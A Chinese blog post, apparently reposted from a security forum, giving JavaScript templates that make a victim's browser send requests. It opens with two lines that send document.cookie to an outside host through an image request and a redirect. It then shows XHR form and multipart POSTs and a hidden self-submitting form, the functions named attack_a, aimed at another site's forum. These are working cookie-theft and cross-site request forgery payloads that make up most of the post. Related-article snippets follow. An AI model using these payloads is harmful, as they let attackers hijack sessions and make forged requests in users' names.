`
baron.unsafe
  • 浏览: 80335 次
社区版块
存档分类
最新评论

JavaScript模拟用户发起浏览器请求(GET和POST)

阅读更多
from http://www.3g-sec.com/thread-1399-1-1.html
<html>
<head>
<script>
//第一种GET方式
new Image().src="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);
//第二种GET方式
location.href="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);
//第一种POST方式(XMLHttpRequest普通POST)
xhr=function(){
    var request = false;
    if(window.XMLHttpRequest){
        request = new XMLHttpRequest();
    }else if (window.ActiveXObject){
        try{
            request = new window.ActiveXObject('Microsoft.XMLHTTP');
        }catch(e){
       }
    }
 
    return request;
}();

request = function(method,src,argv,content_type){
    xhr.open(method,src,false);//同步方式,异步把false改为true
    if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
    //设置表单的content-type类型,常见的是application/x-www-form-urlencoded
    //如果是文件上传的表单则content-type为multipart/form-data第二个例子中会有
    xhr.send(argv);//发送POST数据
    return xhr.responseText;//返回响应的内容
};
attack_a = function(){
    var src     = "http://www.dzx2.com/forum.php";
    var argv_0  = "&name1=value1&name2=value2";
    request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();

//第二种POST方式(XMLHttpRequest文件上传POST)
xhr=function(){
    var request = false;
    if(window.XMLHttpRequest){
        request = new XMLHttpRequest();
    }else if (window.ActiveXObject){
        try{
            request = new window.ActiveXObject('Microsoft.XMLHTTP');
        }catch(e){         
        }
    }
    return request;
}();

request = function(method,src,argv,content_type){
    xhr.open(method,src,false);
    if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
    xhr.send(argv);
    return xhr.responseText;
};

attack_a = function(){
    var src     = "http://www.dzx2.com/forum.php";
    var name1   = "value1";
    var name2   = "value2";
    var argv_0  = "\r\n";
    argv_0      +="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data;name=\"name1\"\r\n\r\n";
    argv_0      +=(name1+"\r\n");
    argv_0      +="---------------------7964f8dddeb95fc5\r\nContent-Disposition:form-data;name=\"name2\"\r\n\r\n";
    argv_0      +=(name2+"\r\n");
    argv_0      +="---------------------7964f8dddeb95fc5\r\n";
    /*
        POST提交的参数是以---------------------7964f8dddeb95fc5分割的
        下面设置表单提交的Content-Type与form-data分隔边界为:
        multipart/form-data;boundary=---------------------7964f8dddeb95fc5
    */
    request("POST",src,argv_0,"multipart/form-data;boundary=---------------------7964f8dddeb95fc5"); 
}

attack_a();

//第三种POST方式(javascript实现表单自提交)
function new_form(){
    var f = document.createElement("form");
    document.body.appendChild(f);
    f.method = "post";
    return f;
}

function create_elements(eForm,eName,eValue){
    var e=document.createElement("input");
    eForm.appendChild(e);
    e.type='text';
    e.name=eName;
    if(!document.all){
        e.style.display='none';
    }else{
        e.style.display='block';
        e.style.width='0px';
        e.style.height='0px';
    }
    e.value=eValue;
    return e;
}
var _f=new_form();//创建一个form表单
create_elements(_f,"name1","value1");//创建form中的input对象
create_elements(_f,"name2","value2");
_f.action="http://www.dzx2.com/forum.php";//form提交地址
_f.submit();//提交
</script>
</head>
<body>
</body>
</html>


分享到:
评论

相关推荐

    服务端模拟ajax支持发起GETPOSTPUTDELETE请求

    本文将深入探讨如何使用JavaScript来模拟GET、POST、PUT和DELETE请求,这些都是RESTful API中最常见的HTTP方法。 **一、GET请求** GET是最基础的HTTP请求方法,用于获取资源。在JavaScript中,我们可以使用`...

    浏览器调试ajax请求

    以下是一个使用jQuery发起Ajax GET请求的例子: ```html &lt;!DOCTYPE html&gt; &lt;script src="https://code.jquery.com/jquery-3.6.0.min.js"&gt;&lt;/script&gt; $.ajax({ url: 'http://your-backend-api-url', type:...

    【JavaScript源代码】解决vue $http的get和post请求跨域问题.docx

    在Vue组件中,你可以这样发起GET和POST请求: ```javascript // GET请求 this.$http.get('/api/amdatashift/login/probe') .then(function(data) { // 处理成功响应 }) .catch(function() { console.log(...

    如何用selenium封装post参数提交示例

    总的来说,Selenium虽然主要设计用于Web UI测试,但通过JavaScript执行和数据解析,它也能有效地封装和处理POST请求,这对于测试涉及异步请求的场景尤其有用。不过,如果仅关注HTTP请求,更推荐使用像`requests`这样...

    谷歌插件学习 监听网络请求

    6. **监听XHR/Fetch请求**:对于异步请求,如XMLHttpRequest(XHR)或Fetch API,网络面板会显示请求的发起和完成,这对于调试AJAX问题特别有用。 7. **保存和重放请求**:可以保存请求的详细信息,以便于后续分析...

    post下载excel.zip

    然后,通过触发表单的submit事件,以模拟用户提交表单的行为,这样浏览器会以GET方式请求资源,从而实现Excel文件的下载。 在Java后端,你需要确保能够处理这两种情况。如果你选择重定向,你需要在服务器端处理POST...

    GET-POST-方法调用-使用jquery-和-javascript:您好,在此项目中,我上载了如何使用jquery和javascript和在线假API调用Call get and post方法。

    在本文中,我们将深入探讨如何使用jQuery和JavaScript来执行GET和POST请求,以及如何与在线模拟API进行交互。这两种技术是Web开发中的基础工具,它们允许前端应用与服务器进行数据交换,实现动态网页功能。 首先,...

    JAVA浏览器小实例

    3. **HTTP协议**:了解HTTP协议的基本原理,如GET和POST请求,HTTP头的设置等,这对于实现浏览器发送请求到服务器至关重要。 4. **IO流**:JAVA中的输入输出流(IO流)用于数据的读取和写入,如在接收服务器响应时...

    CHttpConnection浏览器

    在浏览器实现中,通常会创建一个CHttpConnection对象,然后调用其OpenRequest方法来发起对特定URL的请求。这个过程可能涉及到设置HTTP头信息,比如User-Agent,以模拟不同的浏览器行为。 重定向的URL处理是浏览器...

    模拟ie发送http消息

    它基于请求与响应模型,客户端(如浏览器)发起一个请求,服务器接收到请求后返回响应。 模拟IE发送HTTP消息通常包括以下几个步骤: 1. **构建请求头**:每个HTTP请求都包含头部信息,这些信息告诉服务器请求的...

    python爬虫 基于requests模块发起ajax的get请求实现解析

    代码首先指定了请求的URL和参数,然后定制了请求头信息,包括User-Agent字段,用于伪装成浏览器发起请求。请求发送后,响应内容以JSON格式返回,通过json.loads()函数将JSON字符串转换为Python字典,便于进一步处理...

    get post jsonp三种数据交互形式实例详解

    在JS代码中,`$http.post`用于发起POST请求,传递参数对象(`{a:1, b:2}`)和配置选项(`emulateJSON: true`),表示模拟传统的表单提交。请求成功后,弹出数据结果;失败则显示状态码。 三、JSONP JSONP(JSON ...

    Express模拟后端数据

    前端部分,Vue2.x的组件将使用axios向这个模拟API发起GET请求,获取数据并渲染到界面上。 ```javascript // Express服务器示例 const express = require('express'); const app = express(); app.get('/api/users',...

    JavaScript 跨域之POST实现方法

    当用户提交表单时,会触发表单向指定的跨域URL发起POST请求。 然后,通过JavaScript代码创建一个不可见的iframe和form,这个iframe用于托管表单,并且在表单提交之后,使用postMessage方法将回调函数的数据发送回...

    Ajax与跨站点请求伪造漏洞

    - 注意请求方式应使用POST,因为目标网站可能已经禁止GET请求。 **攻击条件:** - 受害者需要使用支持跨站点请求的浏览器,如旧版IE。 - 受害者需要在登录目标网站的同时保持恶意网页的打开状态。 **攻击效果:**...

    Python-Requests和Selenium之间的集成层用于Web操作的自动化

    - 爬虫扩展:对于需要用户交互的网站,Requests可以发起初始请求,Selenium则负责后续的动态加载和交互。 - 动态网页测试:Requestium可以更方便地测试那些依赖JavaScript渲染的页面。 在实际使用Requestium时,你...

    HTTP模拟Jquery解析

    它定义了客户端和服务器之间的通信格式,包括请求方法(如GET、POST等)、请求头、URL、状态码以及响应头等元素。 .NET框架提供了丰富的类库来支持HTTP通信,其中System.Net命名空间下的HttpClient类是最常用的一个...

    WPFWxSend.rar(微信模拟登陆,主动发消息)

    这些API通常是基于RESTful架构,需要理解HTTP方法(GET、POST等)、请求头和JSON数据格式。 7. **多线程和异步编程**:为了保证用户体验,程序可能使用了多线程或异步编程模型,使得网络请求和UI更新可以在不阻塞...

    爬取B站小视频之获取动态请求数据.rar

    一旦找到这些API,我们可以使用`requests`库直接向这些接口发起GET或POST请求,获取视频数据。例如,可以创建一个函数,接收视频ID作为参数,构造请求URL,然后解析返回的JSON数据,提取出视频标题、作者、播放次数...

    自定义Ajax框架,struts框架的模拟,特效代码

    2. **处理参数**:接收URL、数据、请求类型(GET/POST)、是否异步等参数,并将它们适当地设置到请求中。 3. **处理响应**:当请求完成后,解析服务器返回的数据,可能是JSON、XML或其他格式。 4. **错误处理**:...

Global site tag (gtag.js) - Google Analytics